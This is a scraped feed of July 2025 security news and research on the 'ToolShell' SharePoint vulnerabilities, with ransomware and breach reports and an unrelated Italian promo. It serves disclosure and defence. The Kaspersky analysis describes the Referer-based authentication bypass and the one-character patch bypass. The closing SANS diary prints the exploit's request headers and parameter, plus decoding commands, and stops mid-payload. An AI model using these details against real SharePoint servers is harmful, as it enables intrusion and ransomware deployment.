operazione. In caso contrario, la compromissione dell’account (o del dispositivo) di un admin potrebbe avere conseguenze devastanti. “La nostra piattaforma prevede che gli amministratori non possano avere accesso ai documenti” sottolinea Iannucci. “Nel caso in cui un utente perda le credenziali per l’accesso, è previsto l’avvio di una procedura di recupero che, in ogni caso, non allarga le maglie del sistema”. Se l’implementazione di una piattaforma per la protezione crittografica dei documenti rappresenta un fattore che incide notevolmente sulla postura di sicurezza, un ruolo di primo piano è riservato alle modalità adottate nel suo utilizzo, a partire dalle policy. “Sulla nostra piattaforma consentiamo di graduare le impostazioni di sicurezza a seconda della classificazione dei documenti protetti” spiega Iannucci. “Per esempio, è possibile utilizzare sistemi di autenticazione multi-fattore (MFA) che possono arrivare a coinvolgere 4 diversi strumenti. Il vero nodo, in questo caso, è la capacità delle organizzazioni di prevedere policy specifiche che permettano di sfruttare questa opportunità”. In altre parole, il tema non riguarda tanto la disponibilità di funzionalità, quanto la capacità della singola azienda o ente pubblico di prevedere regole e processi che permettano di metterle a valore. Qualcosa che è parte di una “cultura della sicurezza” che si sta affermando sempre di più, soprattutto in settori particolarmente sensibili. “L’adozione della nostra soluzione da parte di soggetti come la Commissione Europea, il Servizio Europeo per l’Azione Esterna (EEAS) e addirittura l’Agenzia per la Cybersicurezza Nazionale è la dimostrazione del fatto che la strategia della protezione crittografica ‘forte’ è considerata ormai una best practice in tema di sicurezza”. Contributo editoriale sviluppato in collaborazione con Boolebox
cybersecurity360.itJul 25, 2025extracted
ToolShell: a story of five vulnerabilities in Microsoft SharePoint
On July 19–20, 2025, various security companies and national CERTs published alerts about active exploitation of on-premise SharePoint servers. According to the reports, observed attacks did not require authentication, allowed attackers to gain full control over the infected servers, and were performed using an exploit chain of two vulnerabilities: CVE-2025-49704 and CVE-2025-49706, publicly named “ToolShell”. Additionally, on the same dates, Microsoft released out-of-band security patches for the vulnerabilities CVE-2025-53770 and CVE-2025-53771, aimed at addressing the security bypasses of previously issued fixes for CVE-2025-49704 and CVE-2025-49706. The release of the new, “proper” updates has caused confusion about exactly which vulnerabilities attackers are exploiting and whether they are using zero-day exploits. Kaspersky products proactively detected and blocked malicious activity linked to these attacks, which allowed us to gather statistics about the timeframe and spread of this campaign. Our statistics show that widespread exploitation started on July 18, 2025, and attackers targeted servers across the world in Egypt, Jordan, Russia, Vietnam, and Zambia. Entities across multiple sectors were affected: government, finance, manufacturing, forestry, and agriculture. While analyzing all artifacts related to these attacks, which were detected by our products and public information provided by external researchers, we found a dump of a POST request that was claimed to contain the malicious payload used in these attacks. After performing our own analysis, we were able to confirm that this dump indeed contained the malicious payload detected by our technologies, and that sending this single request to an affected SharePoint installation was enough to execute the malicious payload there. Our analysis of the exploit showed that it did rely on vulnerabilities fixed under CVE-2025-49704 and CVE-2025-49706, but by changing just one byte in the request, we were able to bypass those fixes. In this post, we provide detailed information about CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, CVE-2025-53771, and one related vulnerability. Since the exploit code is already published online, is very easy to use, and poses a significant risk, we encourage all organizations to install the necessary updates. The exploit Our research started with an analysis of a POST request dump associated with this wave of attacks on SharePoint servers. We can see that this POST request targets the “/_layouts/15/ToolPane.aspx” endpoint and embeds two parameters: “MSOtlPn_Uri” and “MSOtlPn_DWP”. Looking at the code of ToolPane.aspx, we can see that this file itself does not contain much functionality and most of its code is located in the ToolPane class of the Microsoft.SharePoint.WebPartPages namespace in Microsoft.SharePoint.dll. Looking at this class reveals the code that works with the two parameters present in the exploit. However, accessing this endpoint under normal conditions is not possible without bypassing authentication on the attacked SharePoint server. This is where the first Microsoft SharePoint Server Spoofing Vulnerability CVE-2025-49706 comes into play. CVE-2025-49706 This vulnerability is present in the method PostAuthenticateRequestHandler, in Microsoft.SharePoint.dll. SharePoint requires Internet Information Services (IIS) to be configured in integrated mode. In this mode, the IIS and ASP.NET authentication stages are unified. As a result, the outcome of IIS authentication is not determined until the PostAuthenticateRequest stage, at which point both the ASP.NET and IIS authentication methods have been completed. Therefore, the PostAuthenticateRequestHandler method utilizes a series of flags to track potential authentication violations. A logic bug in this method enables an authentication bypass if the “Referrer” header of the HTTP request is equal to “/_layouts/SignOut.aspx”, “/_layouts/14/SignOut.aspx”, or “/_layouts/15/SignOut.aspx” using case insensitive comparison. The code displayed in the image above handles the sign-out request and is also triggered when the sign-out page is specified as the referrer. When flag6 is set to false and flag7 is set to true, both conditional branches that could potentially throw an “Unauthorized Access” exception are bypassed. On July 8, 2025, Microsoft released an update that addressed this vulnerability by introducing additional checks to detect the usage of the “ToolPane.aspx” endpoint with the sign-out page specified as the referrer. The added check uses case insensitive comparison to verify if the requested path ends with “ToolPane.aspx”. Is it possible to bypass this check, say, by using a different endpoint? Our testing has shown that this check can be easily bypassed. CVE-2025-53771 We were able to successfully bypass the patch for vulnerability CVE-2025-49706 by adding just one byte to the exploit POST request. All that was required to bypass this patch was to add a “/” (slash) to the end of the requested “ToolPane.aspx” path. On July 20, 2025, Microsoft released an update that fixed this bypass as CVE-2025-53771. This fix replaces the “ToolPane.aspx” check to instead check whether the requested path is in the list of paths allowed for use with the sign-out page specified as the referrer. This allowlist includes the following paths: “/_layouts/15/SignOut.aspx”, “/_layouts/15/1033/initstrings.js”, “/_layouts/15/init.js”, “/_layouts/15/theming.js”, “/ScriptResource.axd”, “/_layouts/15/blank.js”, “/ScriptResource.axd”, “/WebResource.axd”, “/_layouts/15/1033/styles/corev15.css”, “/_layouts/15/1033/styles/error.css”, “/_layouts/15/images/favicon.ico”, “/_layouts/15/1033/strings.js”, “/_layouts/15/core.js”, and it can contain additional paths added by the administrator. While testing the CVE-2025-49706 bypass with the July 8, 2025 updates installed on our SharePoint debugging stand, we noticed some strange behavior. Not only did the bypass of CVE-2025-49706 work, but the entire exploit chain did! But wait! Didn’t the attackers use an additional Microsoft SharePoint Remote Code Execution Vulnerability CVE-2025-49704, which was supposed to be fixed in the same update? To understand why the entire exploit chain worked in our case, let’s take a look at the vulnerability CVE-2025-49704 and how it was fixed. CVE-2025-49704 CVE-2025-49704 is an untrusted data deserialization vulnerability that exists due to improper validation of XML content. Looking at the exploit POST request, we can see that it contains two URL encoded parameters: “MSOtlPn_Uri” and “MSOtlPn_DWP”. We can see how they are handled by examining the code of the method GetPartPreviewAndPropertiesFromMarkup in Microsoft.SharePoint.dll. A quick analysis reveals that “MSOtlPn_Uri” is a page URL that might be pointing to an any file in the CONTROLTEMPLATES folder and the parameter “MSOtlPn_DWP” contains something known as WebPart markup. This markup contains special directives that can be used to execute safe controls on a server and has a format very similar to XML. While this “XML” included in the “MSOtlPn_DWP” parameter does not itself contain a vulnerability, it allows attackers to instantiate the ExcelDataSet control from Microsoft.PerformancePoint.Scorecards.Client.dll with CompressedDataTable property set to malicious payload and trigger its processing using DataTable property getter. Looking at the code of the ExcelDataSet’s DataTable property getter in Microsoft.PerformancePoint.Scorecards.Client.dll, we find the method GetObjectFromCompressedBase64String, responsible for deserialization of CompressedDataTable property contents. The data provided as Base64 string is decoded, unzipped, and passed to the BinarySerialization.Deserialize method from Microsoft.SharePoint.dll. Attackers use this method to provide a malicious DataSet whose deserialized content is shown in the image above. It contains an XML with an element of dangerous type "System.Collections.Generic.List1[[System.Data.Services.Internal.ExpandedWrapper2[...], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]", which allows attackers to execute arbitrary methods with the help of the well-known ExpandedWrapper technique aimed at exploitation of unsafe XML deserialization in applications based on the .NET framework. In fact, this shouldn’t be possible, since BinarySerialization.Deserialize in Microsoft.SharePoint.dll uses a special XmlValidator designed to protect against this technique by checking the types of all elements present in the provided XML and ensuring that they are on the list of allowed types. However, the exploit bypasses this check by placing the ExpandedWrapper object into the list. Now, to find out why the exploit worked on our SharePoint debugging stand with the July 8, 2025 updates installed, let’s take a look at how this vulnerability was fixed. In this patch, Microsoft did not really fix the vulnerability but only mitigated it by adding the new AddExcelDataSetToSafeControls class to the Microsoft.SharePoint.Upgrade namespace. This class contains new code that modifies the web.config file and marks the Microsoft.PerformancePoint.Scorecards.ExcelDataSet control as unsafe. Because SharePoint does not execute this code on its own after installing updates, the only way to achieve the security effect was to manually run a configuration upgrade using the SharePoint Products Configuration Wizard tool. Notably, the security guidance for CVE-2025-49704 does not mention the need for this step, which means at least some SharePoint administrators may skip it. Meanwhile, anyone who installed this update but did not manually perform a configuration upgrade remained vulnerable. CVE-2025-53770 On July 20, 2025, Microsoft released an update with a proper fix for the CVE-2025-49704 vulnerability. This patch introduces an updated XmlValidator that now properly validates element types in XML, preventing exploitation of this vulnerability without requiring a configuration upgrade and, more importantly, addressing the root cause and preventing exploitation of the same vulnerability through controls other than Microsoft.PerformancePoint.Scorecards.ExcelDataSet. CVE-2020-1147 Readers familiar with previous SharePoint exploits might feel that the vulnerability CVE-2025-49704/CVE-2025-53770 and the exploit used by the attackers looks very familiar and very similar to the older .NET Framework, SharePoint Server, and Visual Studio Remote Code Execution Vulnerability CVE-2020-1147. In fact, if we compare the exploit for CVE-2020-1147 and an exploit for CVE-2025-49704/CVE-2025-53770, we can see that they are almost identical. The only difference is that in the exploit for CVE-2025-49704/CVE-2025-53770, the dangerous ExpandedWrapper object is placed in the list. This makes CVE-2025-53770 an updated fix for CVE-2020-1147. Conclusions Despite the fact that patches for the ToolShell vulnerabilities are now available for deployment, we assess that this chain of exploits will continue being used by attackers for a long time. We have been observing the same situation with other notorious vulnerabilities, such as ProxyLogon, PrintNightmare, or EternalBlue. While they have been known for years, many threat actors still continue leveraging them in their attacks to compromise unpatched systems. We expect the ToolShell vulnerabilities to follow the same fate, as they can be exploited with extremely low effort and allow full control over the vulnerable server. To stay better protected against threats like ToolShell, we as a community should learn lessons from previous events in the industry related to critical vulnerabilities. Specifically, the speed of applying security patches nowadays is the most important factor when it comes to fighting such vulnerabilities. Since public exploits for these dangerous vulnerabilities appear very soon after vulnerability announcements, it is paramount to install patches as soon as possible, as a gap of even a few hours can make a critical difference. At the same time, it is important to protect enterprise networks against zero-day exploits, which can be leveraged when there is no available public patch for vulnerabilities. In this regard, it is critical to equip machines with reliable cybersecurity solutions that have proven effective in combatting ToolShell attacks before they were publicly disclosed. Kaspersky Next with its Behaviour detection component proactively protects against exploitation of these vulnerabilities. Additionally, it is able to detect exploitation and the subsequent malicious activity. Kaspersky products detect the exploits and malware used in these attacks with the following verdicts: UDS:DangerousObject.Multi.Generic PDM:Exploit.Win32.Generic PDM:Trojan.Win32.Generic HEUR:Trojan.MSIL.Agent.gen ASP.Agent.* PowerShell.Agent.*
securelist.comJul 25, 2025extracted
Microsoft says Warlock ransomware deployed in SharePoint attacks as governments scramble
Microsoft says Warlock ransomware deployed in SharePoint attacks as governments scramble Chinese hackers are exploiting a new vulnerability in Microsoft SharePoint products to deploy ransomware, increasing the pressure on governments around the world as they race to assess any damage done to their systems. In an update on Wednesday night, Microsoft said a China-based actor it identifies as Storm-2603 is now deploying Warlock ransomware after exploiting CVE-2025-49706. The ransomware has only been around since June after advertisements for it — which were titled “if you want a lamborghini, please call me” — emerged on Russian cybercrime forum RAMP. Recorded Future ransomware expert Allan Liska said the group behind Warlock is a ransomware-as-a-service operation with at least 11 victims so far. Storm-2603 has no ties to the other Chinese state-backed groups Microsoft previously said were targeting unpatched on-premises SharePoint systems exposed to the internet. The tech giant explained that it had previously seen Storm-2603 use the Warlock ransomware and at times deploy the LockBit ransomware strain. The group began using ransomware during this campaign on July 18 and investigators saw the threat actors take a number of actions after gaining initial access — including disabling Microsoft Defender protections. Compromised environments are then encrypted with the Warlock ransomware. While the group is based in China, Microsoft previously said it is “unable to confidently assess the threat actor’s objectives.” The two other Chinese groups identified with the so-called “ToolShell” campaign — Linen Typhoon and Violet Typhoon — are confirmed state-backed actors known for more than a decade of espionage and intellectual property theft. Federal compromises The concerns raised by the cybersecurity community about CVE-2025-49706 and its related vulnerabilities were realized this week when prominent victims were notified. Netherlands-based cybersecurity firm Eye Security told Reuters and Bloomberg that hackers have successfully breached at least 400 governments and businesses around the world. A Cybersecurity and Infrastructure Security Agency (CISA) official told Recorded Future News that it is aware of federal agencies as well as state entities that may be affected by the campaign. Image: ESET CISA Acting Executive Assistant Director for Cybersecurity Chris Butera said they are working with Microsoft and other federal partners to address the ToolShell campaign. Butera added that the Muli-State Information Sharing and Analysis Center (MS-ISAC) has been instrumental in helping them notify potentially impacted state and local partners. “We are still early in the incident response and we are continually assessing the scope and impact,” he told Recorded Future News. Bloomberg first reported on Tuesday that the National Nuclear Security Administration was breached through the vulnerability. It is in charge of running the U.S. nuclear weapons supply. A spokesperson confirmed that “the Department of Energy, including the NNSA” was breached on July 18. “The Department was minimally impacted due to its widespread use of the Microsoft M365 cloud and very capable cybersecurity systems,” the spokesperson said. “A very small number of systems were impacted. NNSA is taking the appropriate action to mitigate risk and transition to other offerings as appropriate.” The spokesperson added that they do not know of any sensitive or classified information that was compromised. By Wednesday, the Washington Post obtained a letter saying the National Institutes of Health was breached through the vulnerability and NextGov reported that the Department of Homeland Security was impacted as well. A DHS official said their investigation into potential exposure remains ongoing. “However, there is no evidence of data exfiltration at DHS or any of its components at this time,” a spokesperson claimed. DHS explained that CISA has been “working around the clock with Microsoft, impacted agencies, and critical infrastructure partners to share actionable information, apply mitigation efforts, implement protective measures, and assess preventative measures to shield from future attacks.” The State Department told Recorded Future News that it is working with CISA and other federal agencies to investigate its exposure. Experts at ESET said of all the active ToolShell exploitations across the world, the U.S. accounted for 13% of attacks and was the most targeted country, according to their data. The company first saw exploitation in Germany on July 17 before seeing another on July 18 in Italy. ESET researchers confirmed Microsoft’s assessment that Chinese government-backed groups are seizing on the bug and the company’s telemetry showed “the victims of the ToolShell attacks include several high-value government organizations that have been long-standing targets of these groups.” Jonathan Greig is a Breaking News Reporter at Recorded Future News. Jonathan has worked across the globe as a journalist since 2014. Before moving back to New York City, he worked for news outlets in South Africa, Jordan and Cambodia. He previously covered cybersecurity at ZDNet and TechRepublic.
therecord.mediaJul 24, 2025extracted
Ransomware Deployed in Compromised SharePoint Servers
A Chinese-based threat actor has been observed using the flaws in Microsoft SharePoint to deploy ransomware on compromised systems. In an incident update on July 23, Microsoft revealed that a group tracked as Storm-2603 is distributing Warlock ransomware on exploited SharePoint on-prem servers. As a result, the tech giant has advised potentially affected organizations to expand their mitigation efforts to include protection against ransomware. Storm-2603 is one of three groups observed to be exploiting on-prem SharePoint vulnerabilities, CVE-2025-53770 and CVE-2025-53771. It has been assessed with moderate confidence that Storm-2603 is a China-based threat actor. The group has been known to deploy Warlock and LockBit ransomware. Microsoft said it is currently unable to confidently assess the threat actor’s objectives. The other two actors known to be exploiting the SharePoint vulnerabilities are Linen Typhoon and Violet Typhoon – two known Chinese nation-state groups primarily focused on collecting sensitive data from sectors such as government, defense, technology and human rights organizations. The chained exploitation of the two bugs has been dubbed ‘ToolShell’ by the cybersecurity community. The attack chain appears to be sophisticated, with the threat actors bypassing identity controls and gaining privileged access in compromised systems. Attackers Maximizing Impact Kevin Robertson, CTO of Acumen Cyber, said the deployment of ransomware demonstrates that once inside a victim’s network, they will often look to take advantage in multiple ways. “The attackers turning to ransomware are clearly taking advantage of CVE 2025-53770 to gain further access to environments, encrypting sensitive information, before executing ransomware hoping to get a big pay check,” he noted. Chinese state-sponsored actors, not typically motivated by financial gain, could also be using the opportunity to deploy ransomware. “They could be conducting reconnaissance on networks and then when they have what they need, dropping ransomware to cause further chaos for victims,” Robertson added. SharePoint Victim Count Now Tops 400 Microsoft has told its on-prem SharePoint customers to assume compromise, even if they have fully patched the two vulnerabilities. Organizations have been advised to urgently take mitigations such as rotating cryptographic material, engaging professional incident response and even disconnecting SharePoint from the internet. Cybersecurity vendor Eye Security reported on July 23 that over 400 SharePoint systems have been actively compromised so far. These exploits took place over four confirmed waves of attack on July 17, 18, 19 and 21. Multiple waves took place on and after July 21 following a public proof-of-concept CVE-2025-53770/CVE-2025-53771 exploit script was released on GitHub, Eye Security added. It has been reported that several high-profile US government agencies are among the victims of the SharePoint campaign. Bloomberg reported on July 23 that on-prem SharePoint servers used by the National Nuclear Security Administration and the Department of Education were compromised, while the Washington Post reported that the Department of Health and Human Services (DHHS) had been hit. NextGov said that it had been informed by people familiar with the matter that the Department of Homeland Security (DHS) was also among the victims of the Chinese hackers.
infosecurity-magazine.comJul 24, 2025extracted
Storm-2603 Exploits SharePoint Flaws to Deploy Warlock Ransomware on Unpatched Systems
Microsoft has revealed that one of the threat actors behind the active exploitation of SharePoint flaws is deploying Warlock ransomware on targeted systems. The tech giant, in an update shared Wednesday, said the findings are based on an "expanded analysis and threat intelligence from our continued monitoring of exploitation activity by Storm-2603." The threat actor attributed to the financially motivated activity is a suspected China-based threat actor that's known to drop Warlock and LockBit ransomware in the past. The attack chains entail the exploitation of CVE-2025-49706, a spoofing vulnerability, and CVE-2025-49704, a remote code execution vulnerability, targeting unpatched on-premises SharePoint servers to deploy the spinstall0.aspx web shell payload. "This initial access is used to conduct command execution using the w3wp.exe process that supports SharePoint," Microsoft said. "Storm-2603 then initiates a series of discovery commands, including whoami, to enumerate user context and validate privilege levels." The attacks are characterized by the use of cmd.exe and batch scripts as the threat actor burrows deeper into the target network, while services.exe is abused to turn off Microsoft Defender protections by modifying the Windows Registry. In addition to leveraging spinstall0.aspx for persistence, Storm-2603 has been observed creating scheduled tasks and modifying Internet Information Services (IIS) components to launch what Microsoft described as suspicious .NET assemblies. These actions are designed to ensure ongoing access even if the victims take steps to plug the initial access vectors. Some of the other noteworthy aspects of the attacks include the deployment of Mimikatz to harvest credentials by targeting the Local Security Authority Subsystem Service (LSASS) memory, and then proceeding to conduct lateral movement using PsExec and the Impacket toolkit. "Storm-2603 is then observed modifying Group Policy Objects (GPO) to distribute Warlock ransomware in compromised environments," Microsoft said. As mitigations, users are urged to follow the steps below - Upgrade to supported versions of on-premises Microsoft SharePoint Server Apply the latest security updates Ensure the Antimalware Scan Interface is turned on and configured correctly Deploy Microsoft Defender for Endpoint, or equivalent solutions Rotate SharePoint Server ASP.NET machine keys Restart IIS on all SharePoint servers using iisreset.exe (If AMSI cannot be enabled, it's advised to rotate the keys and restart IIS after installing the new security update) Implement incident response plan The development comes as the SharePoint Server flaws have come under large-scale exploitation, already claiming at least 400 victims. Linen Typhoon (aka APT27) and Violet Typhoon (aka APT31) are two other Chinese hacking groups that have been linked to the malicious activity. China has denied the allegations. "Cybersecurity is a common challenge faced by all countries and should be addressed jointly through dialogue and cooperation," China's Foreign Ministry Spokesperson Guo Jiakun said. "China opposes and fights hacking activities in accordance with the law. At the same time, we oppose smears and attacks against China under the excuse of cybersecurity issues." Update Cybersecurity firm ESET said it has observed the ToolShell exploitation activity globally, with the United States accounting for 13.3% of all attacks, according to its telemetry data. Other prominent targets include the United Kingdom, Italy, Portugal, France, and Germany. "The victims of the ToolShell attacks include several high-value government organizations that have been long-standing targets of these groups," the Slovak company said. "Since the cat is out of the bag now, we expect many more opportunistic attackers to take advantage of unpatched systems." Data from Check Point Research has revealed large-scale exploitation efforts underway. As of July 24, 2025, more than 4,600 compromise attempts have been detected on over 300 organizations worldwide, including government, software, telecommunications, financial services, business services, and consumer goods sectors. "Alarmingly, we see that the attackers also leverage known Ivanti EPMM vulnerabilities throughout the campaign," Check Point Research said. WithSecure's analysis of ToolShell attacks has also uncovered the deployment of the Godzilla web shell, suggesting that the activity may be linked to a prior campaign by an unattributed threat actor in December 2024 that weaponized publicly disclosed ASP.NET machine keys. "One of the primary goals of the current campaign is to steal ASP.NET machine keys to maintain access to the SharePoint server even after patching," the Finnish security vendor said. Furthermore, the attacks have led paved the way for other payloads such as follows - Information, to collect system data and a list of running processes RemoteExec, to execute commands via cmd.exe and return the responses of the execution back to the threat actor AsmLoader, to launch a shellcode either within the running process (IIS worker) or remote process A custom ASP.NET MachineKey stealer similar to spinstall0.aspx that harvests MachineKey components, along with machine name and username BadPotato, to escalate privileges "The usage and implementation of these suggests a Chinese-speaking threat actor is likely to be involved in this activity, however definitive attribution cannot be made at this point based solely on these indicators," WithSecure said. Fortinet FortiGuard Labs, which has also been tracking the campaigns, said the ToolShell exploits have been used to upload an ASP.NET web shell called GhostWebShell that's designed for arbitrary command execution via cmd.exe and persistent access. "The web shell 'GhostWebShell' is a lightweight, memory-resident command shell that expertly abuses SharePoint and ASP.NET internals for persistence, execution, and advanced evasion, making it a formidable tool for post-exploitation," security researcher Cara Lin said. The attacks also feature a tool called KeySiphon that functions similar to the spinstall0.aspx web shell payload in that it captures the application's validation and decryption keys along with the chosen cryptographic modes, alongside gathering system information. "Possessing these secrets allows an attacker to forge authentication tokens, tamper with ViewState MACs for deserialization or data manipulation, and decrypt protected data within the same application domain," Fortinet said. (The story was updated after publication to include new insights from ESET, Check Point Research, WithSecure, and Fortinet.)
thehackernews.comJul 24, 2025extracted
Microsoft: SharePoint servers also targeted in ransomware attacks
A China-based hacking group is deploying Warlock ransomware on Microsoft SharePoint servers vulnerable to widespread attacks targeting the recently patched ToolShell zero-day exploit chain. Non-profit security organization Shadowserver is currently tracking over 420 SharePoint servers that are exposed online and remain vulnerable to these ongoing attacks. "Although Microsoft has observed this threat actor deploying Warlock and Lockbit ransomware in the past, Microsoft is currently unable to confidently assess the threat actor’s objectives," the company said in a Wednesday report. "Starting on July 18, 2025, Microsoft has observed Storm-2603 deploying ransomware using these vulnerabilities." After breaching the victims' networks, Storm-2603 operators use the Mimikatz hacking tool to extract plaintext credentials from LSASS memory. They then move laterally with PsExec and the Impacket toolkit, executing commands via Windows Management Instrumentation (WMI), and modifying Group Policy Objects (GPOs) to deliver Warlock ransomware across compromised systems. "Customers should apply the on-premises SharePoint Server security updates immediately and follow the detailed mitigation guidance in our blog," Microsoft also warned. Microsoft Threat Intelligence researchers have also linked the Linen Typhoon and Violet Typhoon Chinese state-backed hacking groups with these attacks on Tuesday, days after Dutch cybersecurity firm Eye Security first detected zero-day attacks exploiting the CVE-2025-49706 and CVE-2025-49704 vulnerabilities. Since then, Eye Security CTO Piet Kerkhofs told BleepingComputer that the number of breached entities is much larger, with "most of them already compromised for some time already." According to the cybersecurity company's statistics, the attackers have so far infected at least 400 servers with malware and breached 148 organizations worldwide. CISA also added the CVE-2025-53770 remote code execution flaw, part of the same ToolShell exploit chain, to its catalog of vulnerabilities exploited in the wild, ordering US federal agencies to secure their systems within a day. However, earlier this week, the Department of Energy confirmed that the National Nuclear Security Administration (the U.S. nuclear weapons agency) was breached in the ongoing Microsoft SharePoint attacks, although the agency has yet to find evidence that sensitive or classified information was compromised in the incident. The Washington Post also reported that the Department of Health and Human Services' National Institutes of Health (the U.S. medical research agency) was also breached. Update July 24, 06:15 EDT: Revised story to make it clearer that Storm-2603 is a China-based threat actor. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comJul 24, 2025extracted
ToolShell: An all-you-can-eat buffet for threat actors
On July 19th, 2025, Microsoft confirmed that a set of zero-day vulnerabilities in SharePoint Server called ToolShell is being exploited in the wild. ToolShell is comprised of CVE-2025-53770, a remote code execution vulnerability, and CVE‑2025‑53771, a server spoofing vulnerability. These attacks target on-premises Microsoft SharePoint servers, specifically those running SharePoint Subscription Edition, SharePoint 2019, or SharePoint 2016. SharePoint Online in Microsoft 365 is not impacted. Exploiting these vulnerabilities enables threat actors to gain entry to restricted systems and steal sensitive information. Starting from July 17th, ToolShell has been widely exploited by all sorts of threat actors, from petty cybercriminals to nation-state APT groups. Since SharePoint is integrated with other Microsoft services, such as Office, Teams, OneDrive, and Outlook, this compromise can provide the attackers a staggering level of access across the affected network. As part of the attack, the threat actors often chain together four vulnerabilities: the previously patched CVE‑2025‑49704 and CVE-2025-49706, alongside the already mentioned CVE-2025-53770 and CVE-2025-53771. As of July 22, CVE‑2025‑53770 and CVE-2025-53771 have also been patched. Webshell payloads Exploiting ToolShell allows the attackers to bypass multi-factor authentication (MFA), and single sign-on (SSO). After getting inside the targeted server, attackers were seen deploying malicious webshells to extract information from the compromised system. One of the scripts frequently used for this purpose is named spinstall0.aspx, which we track as MSIL/Webshell.JS. Additionally, on July 22nd, 2025, we observed that attackers attempted to deploy other simple ASP webshells capable of executing attacker-supplied commands via cmd.exe. These webshells were deployed using the following filenames: ghostfile346.aspx, ghostfile399.aspx, ghostfile807.aspx, ghostfile972.aspx, and ghostfile913.aspx. ESET products first detected an attempt to exploit part of the execution chain – the Sharepoint/Exploit.CVE-2025-49704 vulnerability – on July 17th in Germany. However, because this attempt was blocked, the final webshell payload was not delivered to the targeted system. The first time we registered the payload itself was on July 18th on a server in Italy. As seen in Figure 1, we have since observed active ToolShell exploitation all over the world, with the US (13.3% of attacks) being the most targeted country according to our telemetry data. Attack monitoring Our monitoring of the ToolShell attacks from July 17th to July 22nd revealed that they were coming from the IP addresses shown in Table 1 (all times are in UTC). Table 1. Attacker IP addresses Figure 2 shows the timeline of the attacks coming from the three most active IP addresses. Concerningly, Microsoft has reported that several China-aligned threat actors have joined in on the exploitation attempts. From our side, we detected a backdoor associated with LuckyMouse – a cyberespionage group that targets mainly governments, telecommunications companies, and international organizations – on a machine in Vietnam targeted via ToolShell. At this stage, it remains unclear whether the system had been previously compromised or if the backdoor was introduced during the current attack. Nevertheless, China-aligned APT groups have certainly seized the opportunity to add the exploit chain to their arsenals: according to our telemetry, the victims of the ToolShell attacks include several high-value government organizations that have been long-standing targets of these groups. Since the cat is out of the bag now, we expect many more opportunistic attackers to take advantage of unpatched systems. The exploit attempts are ongoing and will surely continue. Therefore, if you are using SharePoint Server, the following is recommended (as per guidance from Microsoft): use only supported versions, apply the latest security updates, make sure that Antimalware Scan Interface is turned on and configured properly, with an appropriate cybersecurity solution, and rotate SharePoint Server ASP.NET machine keys. For any inquiries about our research published on WeLiveSecurity, please contact us at [email protected]. ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page. IoCs A comprehensive list of indicators of compromise (IoCs) and samples can be found in our GitHub repository. Files Network MITRE ATT&CK techniques This table was built using version 17 of the MITRE ATT&CK framework.
welivesecurity.comJul 24, 2025extracted
ToolShell: La Vulnerabilità zero-day in Microsoft SharePoint è sotto attacco da inizio di luglio
Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/
redhotcyber.comJul 24, 2025extracted
Analyzing Sharepoint Exploits (CVE-2025-53770, CVE-2025-53771), (Wed, Jul 23rd)
A few days after the exploit originally became widely known, there are now many different SharePoint exploit attempts in circulation. We do see some scans by researchers to identify vulnerable systems (or to scan for common artifacts of compromise), and a few variations of the "ToolPane.aspx" URL being hit. Even for our "random" honeypots, the number of hits has increased significantly without having to emulate SharePoint better. But how do we make sense of the exploit payload? Turns out most of them are rather straightforward to reverse. I will use this commonly referred to payload as an example: https://gist.githubusercontent.com/gboddin/6374c04f84b58cef050f5f4ecf43d501/raw/c472d3381ee8680a0fdf421e6e58625e99eb53a6/payload.txt . You can also find a video walkthrough on YouTube: First of all, verify that you are dealing with the correct exploit. Key identifiers for CVE-2025-53771 (the authentication bypass flaw) is the "Referer" for "SignOut.aspx". The exploit itself is targeting the URL "ToolPane.aspx". See the respective headers: POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Content-Length: 7699 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Type: application/x-www-form-urlencoded Referer: /_layouts/SignOut.aspx Connection: close Next, the payload. As indicated in the Content-Type headers, the payload is URL encoded. CyberChef does a nice job decoding it. MSOTlPn_Uri=http://www.itsc.org/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP= Above, you see the decoded "scaffolding" for the exploit. Overall, this is a basic .NET deserialization payload using the "CompressedDataTable" attribute. The value for the attribute is base64 encoded and compressed. I usually pipe it through base64 -d and zcat: cat payload | base64 -d | zcat Lucky for us, the attacker named the exploit element "pwn" to make it easier to find: Deserialize [ base64 encoded data ] And after one more base64 decoded payload, we arrive at a PowerShell command. A binary could as well replace this, but well, we get another base64 encoded string: powershell -EncodedCommand [base64 encoded string] You thought we were done with base64 decoding? Not quite yet: $base64String = [ base64 encoded string ] $destinationFile = 